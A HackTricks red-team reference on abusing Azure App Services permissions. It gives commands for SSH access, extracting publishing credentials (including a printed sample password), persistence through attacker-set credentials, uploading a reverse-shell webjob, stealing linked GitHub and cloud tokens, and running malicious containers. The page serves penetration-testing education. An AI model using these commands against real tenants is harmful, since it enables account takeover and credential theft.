Az - App Services Privesc
Reading time: 10 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
App Services
For more information about Azure App services check:
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
These permissions allow to get a SSH shell inside a web app. They also allow to debug the application.
- SSH in single command:
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Create tunnel and then connect to SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Debug the application:
- Install the Azure extension in VScode.
- Login in the extension with the Azure account.
- List all the App services inside the subscription.
- Select the App service you want to debug, right click and select "Start Debugging".
- If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission
Microsoft.Web/sites/config/write
to do so.
Obtaining SCM Credentials & Enabling Basic Authentication
To obtain the SCM credentials, you can use the following commands and permissions:
- The permission
Microsoft.Web/sites/publishxml/action
allows to call:
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Note how the username is always the same (except in FTP which ads the name of the app at the beginning) but the password is the same for all of them.
Moreover, the SCM URL is <app-name>.scm.azurewebsites.net
.
- The permission
Microsoft.Web/sites/config/list/action
allows to call:
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Note how the credentials are the same as in the previous command.
- Another option would be to set you own creds and use them:
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
Then, you can use this credentials to access the SCM and FTP platforms. This is also a great way to maintain persistence.
Remember that to access the SCM platform from the web you need to access to <SCM-URL>/BasicAuth
.
warning
Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
- If you see that those credentials are REDACTED, it's because you need to enable the SCM basic authentication option and for that you need the second permission (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Publish code using SCM credentials
Just having valid SCM credentials it's possible to publish code to the App service. This can be done using the following command.
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any changes you wish and then zip it running: zip -r app.zip .
.
Then you can publish the code in a web app with the following command:
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
- Read Webjobs logs:
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Read Webjobs source code:
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Create continuous Webjob:
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allow to assign a managed identity to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and escalate privileges to them.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
This permission allows to list the connection strings and the appsettings of the App service which might contain sensitive information like database credentials.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Read Configured Third Party Credentials
Running the following command it's possible to read the third party credentials configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Update App Code from the source
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can update the code of the App service by compromising the source code in the repository.
- If the app is configured using a remote git repository (with username and password), it's possible to get the URL and basic auth credentials to clone and push changes with:
- Using the permission
Microsoft.Web/sites/sourcecontrols/read
:az webapp deployment source show --name <app-name> --resource-group <res-group>
- Using the permission
Microsoft.Web/sites/config/list/action
:az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
- Using the permission
- If the app is configured to use a local git repository, it's possible to clone the repository and push changes to it:
- Using the permission
Microsoft.Web/sites/sourcecontrols/read
: You can get the URL of the git repo withaz webapp deployment source show --name <app-name> --resource-group <res-group>
, but it's going to be the same as the the SCM URL of the app with the path/<app-name>.git
(e.g.https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git
). - To get the SCM credential you need the permission:
Microsoft.Web/sites/publishxml/action
: Then runaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
.Microsoft.Web/sites/config/list/action
: Then runaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
- Using the permission
warning
Note that having the permission Microsoft.Web/sites/config/list/action
and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
warning
Note that having the permissions below it's also possible to execute an arbitrary container even if the webapp was configured differently.
Microsoft.Web/sites/config/Write
, Microsoft.Web/sites/config/Read
, Microsoft.Web/sites/config/list/Action
, Microsoft.Web/sites/Read
This is the set of permissions that allows to modify the container used by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.